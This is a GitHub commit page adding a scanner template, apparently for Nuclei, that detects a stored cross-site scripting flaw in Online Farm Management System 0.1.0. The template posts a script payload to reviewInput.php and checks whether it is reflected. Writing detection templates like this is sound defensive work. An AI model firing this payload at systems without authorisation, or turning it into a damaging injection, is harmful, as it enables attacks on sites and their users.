Merge pull request #4872 from arafatansari/patch-17

Create onlinecms-xss.yaml
patch-1
Prince Chaddha 2022-07-21 15:10:36 +05:30 committed by GitHub
commit b4be125f85
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: onlinefarm-management-xss
info:
name: Online Farm Management System 0.1.0 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Online Farm Management System is affected by Cross-Site Scripting on the review.php file.
reference:
- https://www.exploit-db.com/exploits/48673
metadata:
verified: true
tags: onlinefarm,cms,xss
requests:
- raw:
- |
POST /reviewInput.php?pid=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
comment=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&rating=0
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<em style="color: black;"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200